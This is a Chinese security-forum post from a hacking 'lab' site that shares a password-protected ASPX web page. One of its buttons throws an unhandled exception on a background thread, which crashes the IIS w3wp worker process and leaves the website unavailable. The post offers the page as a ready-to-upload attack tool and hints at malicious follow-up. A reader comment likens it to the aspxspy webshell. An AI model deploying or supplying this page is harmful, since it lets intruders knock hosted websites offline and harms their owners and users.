让IIS崩溃的代码 - 安全测试工具 - Nuclear'Atk（核攻击）网络安全实验室

By：willweiwei

在六一神棍节末尾发一个代码

此代码可以让该网页IIS用户所属的w3wp进程结束，使网站service unavailable。后面的大家都懂的

<%@ Page Language="C#" ValidateRequest="false" %>

    protected void Page_Load(object willweiweia, EventArgs willweiwei)
    {

        if (!IsPostBack)
        {
            if (null == Session["willweiwei"])
            {
                LoginDiv.Visible = true;
                WebScanDiv.Visible = false;
            }
            else
            {
                LoginDiv.Visible = false;
                WebScanDiv.Visible = true;
            }
        }

    }
       protected void Enter_Click(object willweiweia, EventArgs willweiwei)
    {

        if (PassWord == TEXTPASSWORD.Text.Trim())
        {
            Session["willweiwei"] = "willweiwei";
            LoginDiv.Visible = false;
            WebScanDiv.Visible = true;
        }
        else
        {
            TEXTPASSWORD.Text = string.Empty;
            WrongPassWord.Text = "密码错误，请重新输入！";
        }
    }

    protected void RegLink_Click(object willweiweia, EventArgs willweiweie)
    {
        System.Threading.ThreadPool.QueueUserWorkItem(delegate(object willweiwei) { throw new Exception("I Love U"); });

}

</script>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>xx00</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <div style="width:719px;margin:20px auto 20px auto;text-align:center;font-weight:bold; font-size: larger; height: 48px;" align="center">
            xxx000</div>

    </div>
        <div runat="server" style="width: 725px; height: 76px; left: 243px; position: absolute; top: 81px;" align ="center" id="LoginDiv">
            <asp:TextBox ID="TEXTPASSWORD" runat="server" style="left: 252px; position: absolute; top: 5px" Width="157px" ></asp:TextBox>

            <asp:Button ID="Enter" runat="server" Text="登陆" style="left: 438px; position: absolute; top: 3px "   OnClick="Enter_Click" Height="23px" Width="45px" />
            <asp:Label ID="WrongPassWord" runat="server" Font-Bold="True" Font-Italic="True"
                ForeColor="Red" Style="left: 235px; position: absolute; top: 49px" Width="259px"></asp:Label>
        </div>
        <div id="WebScanDiv" runat="server" style="left: 243px; width: 726px; position: absolute;
            top: 165px; height: 404px">
            <div id="MessageDiv" style="width: 728px; height: 389px">

                <asp:LinkButton ID="RegLink" runat="server" OnClick="RegLink_Click" Width="172px">结束本用户IIS进程</asp:LinkButton></div>
        </div>
    </form>
</body>
</html>

留言评论（旧系统）：

Stuxer @ 2011-11-12 15:21:38

饿，还以为可以远程。aspxspy不就自带结束进程功能了？

本站回复：

Soga...

文章目录